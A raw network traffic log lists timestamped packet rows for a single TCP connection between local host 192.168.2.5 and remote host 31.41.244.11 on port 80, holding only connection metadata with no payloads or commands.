Dec 10, 2024 02:51:12.185038090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.185112953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.185158014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.186218023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.186283112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.186345100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.186389923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.187380075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.187428951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.187505007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.187549114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.188587904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.188640118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.188672066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.188714981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.192312956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.192365885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.192403078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.192447901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.192914963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.192969084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.193023920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.193068027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.194155931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.194202900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.194242954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.194292068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.195301056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.195348978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.322890997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.323020935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.323080063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.323477030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.323534966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.323574066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.323622942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.324661016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.324889898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.324954033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.324995041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.325859070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.325910091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.325942993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.325984955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.327052116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.327096939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.327153921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.327202082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.328250885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.328355074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.328396082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.329449892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.329615116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.329667091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.330653906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.330701113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.330769062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.331362009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.331830025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.331876040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.331919909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.331962109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.333012104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.333129883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.333173037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.334206104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.334343910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.334394932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.335442066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.335539103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.335586071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.336620092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.336730957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.336775064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.337790012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.337914944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.337966919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.338992119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.339112997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.339158058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.340209007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.340374947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.340420008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.341383934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.341491938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.341540098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.342578888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.342694044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.342741013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.343765020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.343878031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.343924046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.344960928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.345005989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.345099926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.345190048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.346158981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.346307993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.346353054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.347357035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.347407103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.347467899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.347515106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.348546982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.348659992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.348711014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.349744081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.349839926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.349889040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.350920916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.351043940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.351084948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.352123022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.352176905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.352212906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.352288008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.353322983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.353368044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.353440046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.353492975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.354499102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.354537964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.354604959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.354648113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.355690956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.355735064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.355823994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.355871916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.356892109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.356939077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.357007027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.357054949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.358089924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.358138084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.358200073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.358246088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.359286070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.359328985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.359402895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.359451056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.360493898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.360541105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.360661030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.360706091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.361670971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.361717939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.361804962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.361859083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.362874031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.362921000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.362981081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.363029003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.364093065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.364141941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.364228010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.364276886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.365256071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.365319967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.365353107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.365398884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.366453886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.366497040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.366566896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.366612911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.367647886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.367701054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.367741108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.367791891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.368858099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.368921041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.368957043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.369007111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.370031118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.370093107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.370134115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.370174885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.371217966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.371260881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.371337891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.371377945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.372442007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.372539997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.372590065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.373611927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.373739004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.373790026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.374809027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.374933004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.374977112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.376000881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.376116991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.376142025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.376187086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.377194881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.377321005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.377372026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.378406048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.378458977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.378496885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.378544092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.379570961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.379617929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.379678011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.379723072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.380759001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.380819082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.380872011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.384419918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.384540081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.384602070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.385075092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.385114908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.385202885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.385245085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.386244059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.386290073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.386349916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.386394024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.387394905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.387444019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.515028954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.515127897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.515208006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.515642881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.515686989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.515726089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.515764952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.516793013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.517237902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.517283916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.517339945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.517385006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.518438101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.518488884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.518526077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.518573046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.519618034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.519664049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.519735098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.519802094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.520829916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.520984888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.521030903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.522008896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.522061110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.522118092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.522162914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.523190022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.523240089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.523307085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.523355007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.524390936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.524528027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.524571896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.525584936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.525633097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.525708914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.525755882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.526819944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.526884079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.527021885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.527968884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.528070927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.528122902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.529155016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.529202938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.529253006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.529314041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.530385971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.530433893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.530497074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.530541897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.531594992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.531635046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.531768084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.531812906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.532742023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.532816887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.532854080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.532898903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.533950090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.534004927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.534044981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.534092903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.535125017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.535223961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.535275936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.536324978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.536417007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.536467075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.537522078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.537573099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.537605047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.537645102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.538721085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.538767099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.538829088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.538872004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.539896011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.539944887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.540010929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.540060043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.541131973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.541177034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.541214943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.541260958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.542311907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.542383909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.542414904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.542459011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.543493032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.543540001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.543601990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.543647051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.544688940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.544797897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.544841051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.545947075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.545993090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.546068907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.546113014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.547107935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.547151089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.547234058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.547278881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.548290968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.548397064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.548444986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.549451113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.549496889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.549566984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.549612045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.550677061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.550721884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.550812006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.550856113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.551851988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.551897049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:12.551963091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:12.552006006 CET	49859	80	192.168.2.5	31.41.244.11
